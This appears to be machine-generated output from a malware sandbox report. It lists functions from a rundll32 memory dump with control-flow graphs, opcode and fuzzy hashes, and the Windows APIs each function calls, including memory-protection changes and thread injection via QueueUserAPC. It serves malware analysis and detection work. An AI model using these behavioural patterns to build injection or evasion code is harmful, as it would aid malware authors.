                                            • Opcode Fuzzy Hash: 941571099aad18ea7affcf372cf637b6d2292183614781d015a78eef3a685228
                                            • Instruction Fuzzy Hash: 7F72717561AA088FF758EF28EC897A977E1F758700F10853FD44BC31A1DE3899469B82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7777E011 Relevance: 3.4, APIs: 2, Instructions: 358nativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 365 28a7777e011-28a7777e01a 366 28a7777e093-28a7777e09d 365->366 367 28a7777e01c-28a7777e032 365->367 368 28a7777e0a3-28a7777e0aa 366->368 369 28a7777e260-28a7777e2ab NtProtectVirtualMemory 366->369 370 28a7777e034-28a7777e06b 367->370 371 28a7777e0ab-28a7777e0ae 367->371 368->371 372 28a7777e345-28a7777e347 369->372 373 28a7777e2b1-28a7777e2b2 369->373 375 28a7777e366-28a7777e37e 370->375 376 28a7777e071-28a7777e08e 370->376 374 28a7777e0b6-28a7777e0c2 371->374 380 28a7777e349-28a7777e364 372->380 381 28a7777e381-28a7777e393 372->381 377 28a7777e2b6-28a7777e2b8 373->377 378 28a7777e0c4-28a7777e0c5 374->378 379 28a7777e0e0-28a7777e10d 374->379 375->381 376->366 376->369 377->381 382 28a7777e2be-28a7777e2c2 377->382 383 28a7777e0c7-28a7777e0de 378->383 392 28a7777e113-28a7777e124 379->392 393 28a7777e251-28a7777e252 379->393 380->381 385 28a7777e2c4-28a7777e2d8 382->385 386 28a7777e2da-28a7777e2de 382->386 383->379 383->383 389 28a7777e2f9-28a7777e33f NtProtectVirtualMemory 385->389 390 28a7777e2f6-28a7777e2f7 386->390 391 28a7777e2e0-28a7777e2f4 386->391 389->372 389->377 390->389 391->389 394 28a7777e126-28a7777e12b 392->394 395 28a7777e13a-28a7777e156 392->395 396 28a7777e257-28a7777e25a 393->396 394->395 397 28a7777e12d-28a7777e135 394->397 398 28a7777e22c-28a7777e22f 395->398 399 28a7777e15c-28a7777e19a 395->399 396->369 396->381 400 28a7777e235-28a7777e249 397->400 398->381 398->400 405 28a7777e1c3-28a7777e1e3 399->405 406 28a7777e19c-28a7777e1a4 399->406 402 28a7777e24f 400->402 403 28a7777e0b0-28a7777e0b1 400->403 402->396 403->374 410 28a7777e1e5 405->410 411 28a7777e1e8-28a7777e1ea 405->411 407 28a7777e1a6-28a7777e1ad 406->407 408 28a7777e1af-28a7777e1c0 406->408 407->407 407->408 408->405 410->411 412 28a7777e1ec-28a7777e20e 411->412 413 28a7777e21e-28a7777e227 411->413 412->398 414 28a7777e210-28a7777e219 412->414 413->398 414->399
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608807901.0000028A7777E000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000028A7777E000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a7777e000_rundll32.jbxd
                                            Similarity
                                            • API ID: MemoryProtectVirtual
                                            • String ID:
                                            • API String ID: 2706961497-0
                                            • Opcode ID: 24a921d86369ea2b2c26d1c6c7760556fef6cd2d07c1d0602f36e17461683fd6
                                            • Instruction ID: e4015943530f8a87fbf6ed90908f39ff01342deebfbcfd889dbbe7ed16b34c91
                                            • Opcode Fuzzy Hash: 24a921d86369ea2b2c26d1c6c7760556fef6cd2d07c1d0602f36e17461683fd6
                                            • Instruction Fuzzy Hash: 68B1193520EB844FE768DF28CC857A9B7E1FB95300F54896ED0CBC7292DE70A4469782
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A77753B64 Relevance: 1.8, APIs: 1, Instructions: 292memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 503 28a77753b64-28a77753b9a 504 28a77753b9c-28a77753ba4 503->504 505 28a77753ba6-28a77753ba7 503->505 506 28a77753ba9-28a77753bce HeapCreate 504->506 505->506 508 28a77753bd0-28a77753bd3 506->508 509 28a77753bd8-28a77753c02 506->509 510 28a77753deb-28a77753dee 508->510 514 28a77753c63-28a77753c69 509->514 515 28a77753c04-28a77753c0c 509->515 512 28a77753df0-28a77753e18 510->512 513 28a77753e49-28a77753e62 510->513 512->513 519 28a77753e1a-28a77753e31 512->519 520 28a77753c6b-28a77753c6d 514->520 521 28a77753c0e-28a77753c17 515->521 522 28a77753c1b 515->522 519->513 532 28a77753e33-28a77753e3e 519->532 520->510 523 28a77753c73-28a77753c8f call 28a777511f4 520->523 524 28a77753c1d-28a77753c5a 521->524 525 28a77753c19 521->525 522->524 527 28a77753c5c-28a77753c61 522->527 533 28a77753c95-28a77753cd4 523->533 534 28a77753da4-28a77753da6 523->534 524->520 525->522 527->520 532->513 535 28a77753e40-28a77753e48 532->535 542 28a77753cda-28a77753ced call 28a777441aa 533->542 543 28a77753d97 533->543 534->510 537 28a77753da8-28a77753dc0 call 28a7775e478 534->537 535->513 537->510 544 28a77753dc2-28a77753de4 call 28a77766070 call 28a77762550 537->544 549 28a77753cef-28a77753d00 542->549 550 28a77753d5d 542->550 545 28a77753d9c-28a77753d9d 543->545 556 28a77753de9 544->556 545->534 552 28a77753d02-28a77753d53 call 28a7776b3a8 549->552 554 28a77753d64-28a77753d6c 550->554 560 28a77753d55-28a77753d5b 552->560 557 28a77753d6e-28a77753d7e 554->557 558 28a77753d80-28a77753d95 554->558 556->510 557->545 558->545 560->554
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: CreateHeap
                                            • String ID:
                                            • API String ID: 10892065-0
                                            • Opcode ID: 42b612c78fe9b70062130d364ca0d4e6e8c0bf91701461e5dfe428bbca03cae4
                                            • Instruction ID: fc645021cb3c5551bac8bfccdd698f9ff002be27e1c42514c389473d3521d6cf
                                            • Opcode Fuzzy Hash: 42b612c78fe9b70062130d364ca0d4e6e8c0bf91701461e5dfe428bbca03cae4
                                            • Instruction Fuzzy Hash: B591D834609B098FFB68EF68D88976977E5FB94305F10813EE44AC31A1EF78D8029742
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A77767D48 Relevance: 1.6, APIs: 1, Instructions: 51nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: InformationProcessQuery
                                            • String ID:
                                            • API String ID: 1778838933-0
                                            • Opcode ID: 2cbd10eb540a1377c62dc1952105ae5ca313dfe62637f8386d5eb1acd45784ee
                                            • Instruction ID: e6b02aa2acbfd95ea5ec508784aab822ca6ea20cd358f9837281bdb8f82d2cbc
                                            • Opcode Fuzzy Hash: 2cbd10eb540a1377c62dc1952105ae5ca313dfe62637f8386d5eb1acd45784ee
                                            • Instruction Fuzzy Hash: 07017C34615A0D8FEB84DF68D4D8B39B3E2FBA8345F40446EA50AC7158DB34D880CB46
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A77763008 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 222stringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: BoundaryDeleteDescriptorlstrcmp
                                            • String ID:
                                            • API String ID: 735288309-3916222277
                                            • Opcode ID: 288f9c1cbce8911936c130478318fe4cf2356879a3dc1ca2d5e6530766e1ddb2
                                            • Instruction ID: 52a93e24ee8b0cad405fe745deec913502c43c808d1306f6206f4d5d225c5655
                                            • Opcode Fuzzy Hash: 288f9c1cbce8911936c130478318fe4cf2356879a3dc1ca2d5e6530766e1ddb2
                                            • Instruction Fuzzy Hash: B5513B75A0AA484BF32CAF189C9A77DB3D2E789310F14453ED9DAC3295DD249C42C783
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A777493DC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 145registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: CreateQueryValue
                                            • String ID: ($(
                                            • API String ID: 2711935003-222463766
                                            • Opcode ID: b35e1ce125af1ec79d36f4233b3163c86ea3b56887f7c067b0bc1a0970e6635d
                                            • Instruction ID: 0b109106f04fdbe5cdd99b01fc3383a0867e08805dbd5272a1f2e9f12ae1188d
                                            • Opcode Fuzzy Hash: b35e1ce125af1ec79d36f4233b3163c86ea3b56887f7c067b0bc1a0970e6635d
                                            • Instruction Fuzzy Hash: E041A8346197488FF764EF18E898B6AB7E5F798305F20452ED48AC3290DF78D942DB42
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7774DAE0 Relevance: 4.6, APIs: 3, Instructions: 96registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • RegQueryValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,-00000008,00000000,0000028A77750991), ref: 0000028A7774DB1E
                                            • RegQueryValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,-00000008,00000000,0000028A77750991), ref: 0000028A7774DB5D
                                            • RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,-00000008,00000000,0000028A77750991), ref: 0000028A7774DB8B
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: QueryValue$Close
                                            • String ID:
                                            • API String ID: 1979452859-0
                                            • Opcode ID: 47c31ae35de2c41d9e7b6ee08798a5cbf8d2fdde0fc8c139ace9a658789905cb
                                            • Instruction ID: 0938c1e2bdb69aa657dfbf0dd6bd2a11425a75db70b57883f6263fc88364d631
                                            • Opcode Fuzzy Hash: 47c31ae35de2c41d9e7b6ee08798a5cbf8d2fdde0fc8c139ace9a658789905cb
                                            • Instruction Fuzzy Hash: 24212474619A088FE7A4DF58E88D725B7E1FB98351F20456EE489C3261DE34D842DB42
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7776DA00 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 311libraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 313 28a7776da00-28a7776da7d 314 28a7776da7f-28a7776da9f 313->314 315 28a7776daa4-28a7776dad0 313->315 320 28a7776dcd6-28a7776dced 314->320 316 28a7776dae6-28a7776daea 315->316 317 28a7776dad2-28a7776dae4 315->317 319 28a7776daee-28a7776dafa 316->319 317->319 321 28a7776dafc-28a7776db0b 319->321 322 28a7776db18-28a7776db1b 319->322 334 28a7776db11-28a7776db12 321->334 335 28a7776dcac-28a7776dcb6 321->335 323 28a7776db21-28a7776db24 322->323 324 28a7776dbef-28a7776dbf7 322->324 328 28a7776db38-28a7776db49 LoadLibraryA 323->328 329 28a7776db26-28a7776db36 323->329 325 28a7776dbf9-28a7776dc06 324->325 326 28a7776dc08-28a7776dc0b 324->326 325->326 332 28a7776dc11-28a7776dc14 326->332 333 28a7776dca8-28a7776dca9 326->333 330 28a7776db4b-28a7776db5f 328->330 331 28a7776dba3-28a7776dbad 328->331 329->328 329->331 349 28a7776db61-28a7776db71 330->349 350 28a7776db73-28a7776db9e 330->350 339 28a7776dbdf-28a7776dbe0 331->339 340 28a7776dbaf-28a7776dbb3 331->340 337 28a7776dc3f-28a7776dc53 332->337 338 28a7776dc16-28a7776dc19 332->338 333->335 334->322 341 28a7776dcb8-28a7776dccd 335->341 342 28a7776dcd3-28a7776dcd4 335->342 337->333 352 28a7776dc55-28a7776dc69 337->352 338->337 345 28a7776dc1b-28a7776dc26 338->345 346 28a7776dbe8-28a7776dbe9 339->346 340->346 347 28a7776dbb5-28a7776dbc6 340->347 341->342 342->320 345->337 351 28a7776dc28-28a7776dc2d 345->351 346->324 347->346 358 28a7776dbc8-28a7776dbdd 347->358 349->331 349->350 350->320 351->337 353 28a7776dc2f-28a7776dc34 351->353 360 28a7776dc6b-28a7776dc76 352->360 361 28a7776dc78-28a7776dc7b 352->361 353->337 357 28a7776dc36-28a7776dc3d 353->357 357->333 357->337 358->346 360->361 361->333 362 28a7776dc7d-28a7776dca4 361->362 362->333
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID: H
                                            • API String ID: 1029625771-2852464175
                                            • Opcode ID: 7c9b74c16519185de65ec3be6f446f190774518fafa257a58b7a4500c5b861a7
                                            • Instruction ID: cfad9fedf7d0e387b3d6e18de5a5c0466e7b3e80ff0106b04ee9a5f193cca080
                                            • Opcode Fuzzy Hash: 7c9b74c16519185de65ec3be6f446f190774518fafa257a58b7a4500c5b861a7
                                            • Instruction Fuzzy Hash: 3FA19E30519F098FFB55EF18D898B6AB3E1FB98305F04862AD449C3265EF74D851CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7776BBCC Relevance: 3.2, APIs: 2, Instructions: 203memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 9a646e53d22d4ff0a0ef8bab3bb0cf1c9dc7eda843ba3c50e1fa2144b4cf2634
                                            • Instruction ID: f1fae6bc02b8529934db69d388e71e6d120faf7ef859c11d997873772360f4ee
                                            • Opcode Fuzzy Hash: 9a646e53d22d4ff0a0ef8bab3bb0cf1c9dc7eda843ba3c50e1fa2144b4cf2634
                                            • Instruction Fuzzy Hash: EE61B170619F098FE784EF18D899B69B3E0FB59301F10456EA44EC72A5DF30E951CB86
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A77762550 Relevance: 3.2, APIs: 2, Instructions: 152COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: ContinueHandlerVectored
                                            • String ID:
                                            • API String ID: 3758255415-0
                                            • Opcode ID: 7244c2c071395b83f47e7f4185413d39c7c9846b9b288bc70064fa91beeae027
                                            • Instruction ID: a3f10c9451501a90f1aa0d5a82a395491ba3c9467ccc5850b21cdb7f4b18afb2
                                            • Opcode Fuzzy Hash: 7244c2c071395b83f47e7f4185413d39c7c9846b9b288bc70064fa91beeae027
                                            • Instruction Fuzzy Hash: 1151E835A0AA058FF794EF34D868BAEB7D2E798309F04852E9446C31A9DF38C4419B43
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A777441B0 Relevance: 3.1, APIs: 2, Instructions: 60registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: CreateOpen
                                            • String ID:
                                            • API String ID: 436179556-0
                                            • Opcode ID: 57141b6d7e82af90fc252f8a6aff855dd69fc072bb2936abf4c2cedabf69c664
                                            • Instruction ID: a44d30f2ce1a6d2eb071feea128ab6ad8017de185d20665d3ef8e3b27b89c89e
                                            • Opcode Fuzzy Hash: 57141b6d7e82af90fc252f8a6aff855dd69fc072bb2936abf4c2cedabf69c664
                                            • Instruction Fuzzy Hash: 1011C434719A584FEB48DB5CD488B2AFBF5EBA8340F10442EE84EC32A0DEB4C9419743
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7775C9F0 Relevance: 3.1, APIs: 2, Instructions: 59threadinjectionCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 496 28a7775c9f0-28a7775ca2c CreateThread 497 28a7775ca2e-28a7775ca3f QueueUserAPC 496->497 498 28a7775ca67-28a7775ca79 496->498 497->498 499 28a7775ca41-28a7775ca5f 497->499 499->498
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: CreateQueueThreadUser
                                            • String ID:
                                            • API String ID: 3600083758-0
                                            • Opcode ID: f9d1119d2a6f7ede32f3f151a7b292346c93d34cb54adac41a0938bd19bbd9d1
                                            • Instruction ID: 5285e9e2040b2149105448d4f40961764cbf65e1ad8041eabd8991becf057f5a
                                            • Opcode Fuzzy Hash: f9d1119d2a6f7ede32f3f151a7b292346c93d34cb54adac41a0938bd19bbd9d1
                                            • Instruction Fuzzy Hash: 6B017130719B094FFB84EF6C984D769B7E2EBA8711B14856AE409C32B0DF38DC518782
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7774A818 Relevance: 1.7, APIs: 1, Instructions: 216memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 6ab6c86adb017c4e84a6470e463e0485530ff109559b57c5f29df82044cb1b19
                                            • Instruction ID: d044c62ef4257bd5181be81739765d5d7491ff1c819d7e2171f16b99e79e55e5
                                            • Opcode Fuzzy Hash: 6ab6c86adb017c4e84a6470e463e0485530ff109559b57c5f29df82044cb1b19
                                            • Instruction Fuzzy Hash: 7B61643461AF159FF794EF18D889B69B7E0FB68301F11462EE48AC3251DF34E8418B82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7776578C Relevance: 1.7, APIs: 1, Instructions: 162COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: BoundaryDeleteDescriptor
                                            • String ID:
                                            • API String ID: 3203483114-0
                                            • Opcode ID: a464e65bd05371995ba58b037e9fe69ffc8a260ab8f58263af6dd64cee76a8d2
                                            • Instruction ID: 91249e84593441d3b5c1abe4a8901d2f4d40693a905577f51082d706f6d0415e
                                            • Opcode Fuzzy Hash: a464e65bd05371995ba58b037e9fe69ffc8a260ab8f58263af6dd64cee76a8d2
                                            • Instruction Fuzzy Hash: 6F41E730B16E1D8FFB58DF58D898BA9B3E1F798710F50812AE049C36A5CD64DC45E782
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A77766070 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: ChangeCloseFindNotification
                                            • String ID:
                                            • API String ID: 2591292051-0
                                            • Opcode ID: 399cac4ed0b11f5e18c23d9d800f4458c8b048667792aa1e19967bd08cdd993c
                                            • Instruction ID: 627b2bff7c77476e86ef5916a12976a0d3bd6ac5ff1b3ca407e3ef1405dcc748
                                            • Opcode Fuzzy Hash: 399cac4ed0b11f5e18c23d9d800f4458c8b048667792aa1e19967bd08cdd993c
                                            • Instruction Fuzzy Hash: 45215435618B0A8FEB54EB2CD898B9A77F1F798305F40852EA55AC3265DF74D8808741
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A7774ADF0 Relevance: 1.6, APIs: 1, Instructions: 74memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 634 28a7774adf0-28a7774ae2d VirtualProtect 635 28a7774ae7f-28a7774ae9a 634->635 636 28a7774ae2f-28a7774ae4f 634->636 639 28a7774ae51-28a7774ae5b 636->639 640 28a7774ae77 636->640 639->640 641 28a7774ae5d-28a7774ae75 639->641 640->635 641->635
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 6578fe9b7a76da222662733dba6016d78e018f3eecfa7a9d764e1c32e71b09c1
                                            • Instruction ID: b6419c7dd7d53bcbdc795ae51c2c16a24b1b7c51670246fdfc8b0fcbec5e9893
                                            • Opcode Fuzzy Hash: 6578fe9b7a76da222662733dba6016d78e018f3eecfa7a9d764e1c32e71b09c1
                                            • Instruction Fuzzy Hash: E711813560DB188FEB54EF58A44A129B7E5EB98300B11463EE98AC3255EE70E9058B86
                                            Uniqueness

                                            Uniqueness Score: -1.00%